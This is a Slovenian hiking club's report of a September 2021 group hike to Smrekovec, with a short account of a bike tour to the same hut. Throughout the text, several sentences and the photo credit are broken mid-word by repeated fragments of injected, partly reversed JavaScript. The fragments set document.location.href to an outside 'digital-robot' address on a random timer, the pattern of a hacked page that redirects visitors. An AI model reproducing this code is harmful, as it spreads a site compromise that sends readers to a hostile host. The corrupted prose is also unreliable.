26. september je bil dan, ko smo s planinci spet opravili odličen pohod. Tokrat na Smrekovec, z namenom, da obeležimo tradicionalni Dan Smrekovca, ki ga kot skupno druženje organizirajo občine, ki se stikajo na smrekovškem pogorju – občine Šoštanj, Črna na Koroškem in Ljubno ob Savinji. Na ta dan je na Smrekovec organiziranih več pohodov, mi, šoštanjski planinci pa smo letobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tošnjo turo izvedli po manj znanih poteh na Smrekovec.

Ob 8.00 se nas je 13 udeležencev dobilo pri cerkvi Svetega Andreja v Belih Vodah, od koder smo krenili malo čez 8. uro. Že takoj na začetku nas je pričakalo presenečenje, saj se je vodnik Bojan odločil, da nas pelje malo izven planirane ture, tako da smo takoj stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topili na gozdno cestobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to in se podali na najvišji hrib Belih Vod, imenovan Belovojski hrib, do katerega smo prišli po slabih 15 minutah hoje. Vrh je visok 973 m in nam zaradi gozda ne poda ravno najlepšega razgleda, najbolje pa se vidi pogorje Golt ter Uršlja Gora. Iz vrha smo se spustili proti Puškim vrhovom ter iz gozda prišli pri lovski koči Smrekovec. Po nekaj metrih hoje po makedamu smo zopet zavili na gozdne poti, ki so nas vodile do markirane poti Sleme – Smrekovec. Takrat nas je večina spet vedela kje hodimo, saj po tej poti, po kateri smo hodili prej, še marskikdo ni hodil. Pot nas je natobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to vodila med veliki bukvami, ki so v času Avstro – Ogrske označevale mejo med Štajersko in Koroško. Kmalu smo prišli do sedla Kramarica, kjer smo imeli krajši postanek za kakšno čokoladico ali pol jabolke. V kapelici smo tudi pozvonili za srečo. Odpravili smo se najprej in hitro prišli na makedamsko cestobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, ki vodi do koče na Smrekovcu. Mi smo od ceste zavili rahlo desno v hrib in se začeli vzpenjati do vrha. Na tej poti, slabe 20 minut pod vrhom smo naleteli na jezne ose, ki so imele gnezdo ob poti in so na slabi polovici skupine pustile svoj neslavni pečat. Po nekaj minutnem zdravniškem postanku je bila ekipa nared za naprej. Vrh Smrekovca smo osvojili čez kakšnih 15 minut, gor pa smo že takoj videli kar nekaj znanih obrazov. Po skupinskem slikanju in veselju, da nam je skupaj uspelo, smo se odpravili na kočo. Tam smo pojedli nekaj na žlico, kar je bilo na voljo, saj je častila Občina Šoštanj. Ob 12.45 smo se odpravili iz koče proti spodnjemu Brložniku od tam naprej pa še do Luka, katerega smo dosegli okoli 14.00. Tukaj se je uradno zaključila naša skupinska tura. Z novimi spomini in z veseljem pogledujemo proti novi akciji, ki pa je že v bližnji prihodnosti.

Še nekaj malega statistike: hodili smo malo več kot 5 ur, prehodili 14,5 km in naredili 1050 m višinske razlike.

Zapisala: Kaja Koželjnik

Fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Borut Zajc

Poleg pohodnikov, smo se 26. 9. 2021, ob prazniku Občine Šoštanj na Dom na Smrekovec podali tudi turni kolesarji. Našo pot smo pričeli v Šoštanju ter nadaljevali po kolesarski poti do Florjana. Pri Grebenšku smo zavili v dolino Slanice ter po precej strmem makedamskem klancu nadaljevali s kolesarjenjem vse do Počivalnika in naprej mimo lovske koče do Doma na Smrekovcu. Po okrepčilu in počitku smo se po razgibanem gozdnem terenu spustili v dolino Ljubije ter odkolesarili nazaj do Šoštanja.